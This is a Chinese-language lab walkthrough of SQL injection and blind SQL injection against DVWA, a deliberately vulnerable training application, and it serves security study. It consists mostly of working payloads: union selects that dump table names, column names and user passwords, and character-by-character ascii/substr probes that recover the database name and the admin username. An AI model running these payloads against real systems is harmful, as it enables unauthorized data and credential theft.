SQL Injection
- 判断是否存在注入
先尝试输入1,可以得到正常的回显
尝试输入User ID:1’,发现存在字符型注入漏洞
尝试字符型注入,输入1’ or’ 1’ =’ 1
- 用order by判断列数,输入2时回显正常,输入1或3时报错,所以字段数为2
- 判断回显位置
输入11’ union select 1,2 # - 查看当前数据库名,输入11’ union select 1,database() #
可知当前数据库名为dvwa - 猜测表名,输入1’ union select 1,table_name from information_schema.tables where table_schema=database() #
或者1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema = ‘dvwa’#
此时可能会出现Illegal mix of collations for operation 'UNION’问题
是编码问题,去数据库修改
- 获取字段名
输入1’ union select 1 , group_concat(column_name) from information_schema.columns where table_name = ‘users’ #
- 获取用户名和密码
输入1’ union select user,password from users#
SQL Injection(Blind)
- 判断是否有注入
先输入1,显示exists存在
输入’ 时,显示MISSING不存在
输入1’ and 1=2 #时,显示MISSING不存在
说明存在字符型的SQL盲注 - 猜解数据库名,使用二分法盲猜
- 判断数据库名称长度,使用length()函数
输入1’ and length(database())>15 #,显示MISSING,然后一直试下去
最后输入1’ and length(database())=4 #,显示exists,说明该数据库长度为4 - 判断数据库名称的字符组成元素,使用substr()函数和ascii()函数
substr(string string,num start,num length);string为字符串;start为起始位置;length为长度。
输入1’ and ascii(substr(database(),1,1))>90 #时,显示exists,然后一直试下去
最后输入1’ and ascii(substr(database(),1,1))=100 #时,显示exists。说明数据库名称首位字母为d
以此类推,猜测数据库名称的其他三位字母,最后获取数据库名为dvwa
- 判断数据库名称长度,使用length()函数
- 猜解数据库表名
- 猜解数据库中有几个表
输入1’ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=1 #时,显示MISSING
输入1’ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2 #时,显示exists
说明当前数据库有两个表 - 猜解表名长度
输入1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=1 #时,显示MISSING,以此类推
输入1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9 #时,显示exists,说明第一个表名长度为9
输入1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),2))=5 #时,显示exists,说明第二个表名长度为5 - 猜解表名,和猜解数据库名方法一样
输入1’ and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa’limit 0,1),1))=103 #,为g
以此类推,猜解出两个表名为guestbook和users
- 猜解数据库中有几个表
- 猜解表中的字段名
- 猜解有几个字段
输入1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=1 #时,显示MISSING,以此类推
输入1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8 #时,显示exists,说明users表存在八个字段 - 猜解每列列名长度
输入1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7 #,判断出第一列列名长度为7,以此类推
输入1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2))=6 #,判断出第二列列名长度为6···· - 猜解每列列名
输入1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=117 #,以此类推,猜解出所有的列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login - 猜解用户名
1’ and (ascii(substr((select user from users limit 0,1),1,1)))=97 #以此类推
最终结果为admin,用户名为admin
- 猜解有几个字段